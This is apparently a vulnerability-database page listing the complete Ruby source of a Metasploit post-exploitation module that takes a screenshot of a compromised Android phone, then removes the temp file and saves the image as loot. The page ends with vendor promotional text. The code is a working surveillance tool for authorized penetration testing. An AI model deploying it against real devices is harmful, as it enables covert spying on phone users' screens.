Lucene search
K

Android Screen Capture

🗓️ 25 May 2015 12:41:35Reported by timwrType 
metasploit
 metasploit
🔗 www.rapid7.com👁 36 Views

This module takes a screenshot of the target phone. It requires shell or root permissions and stores the screenshot.

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Post::Common
  include Msf::Post::File

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Android Screen Capture',
        'Description' => %q{
          This module takes a screenshot of the target phone.
        },
        'License' => MSF_LICENSE,
        'Author' => [ 'timwr' ],
        'Platform' => [ 'android' ],
        'SessionTypes' => [ 'shell', 'meterpreter' ]
      )
    )

    register_options(
      [
        OptString.new('TMP_PATH', [true, 'Path to remote temp directory', '/data/local/tmp/']),
        OptString.new('EXE_PATH', [true, 'Path to remote screencap executable', '/system/bin/screencap'])
      ]
    )
  end

  def run
    id = cmd_exec('id')
    unless id =~ (/root/) || id =~ (/shell/)
      print_error('This module requires shell or root permissions')
      return
    end

    exe_path = datastore['EXE_PATH']
    tmp_path = datastore['TMP_PATH']
    if !file?(exe_path)
      print_error('Aborting, screencap binary not found.')
      return
    end

    begin
      file = "#{tmp_path}/#{Rex::Text.rand_text_alpha(7)}.png"
      cmd_exec("#{exe_path} -p #{file}")
      print_good('Downloading screenshot...')
      data = read_file(file)
      file_rm(file)
    rescue ::Rex::Post::Meterpreter::RequestError => e
      print_error('Error taking the screenshot')
      vprint_error("#{e.class} #{e} #{e.backtrace}")
      return
    end

    unless data
      print_error('No data for screenshot')
      return
    end

    begin
      fn = 'screenshot.png'
      location = store_loot('screen_capture.screenshot', 'image/png', session, data, fn, 'Screenshot')
      print_good("Screenshot saved at #{location}")
    rescue ::IOError, ::Errno::ENOENT => e
      print_error('Error storing screenshot')
      vprint_error("#{e.class} #{e} #{e.backtrace}")
      return
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation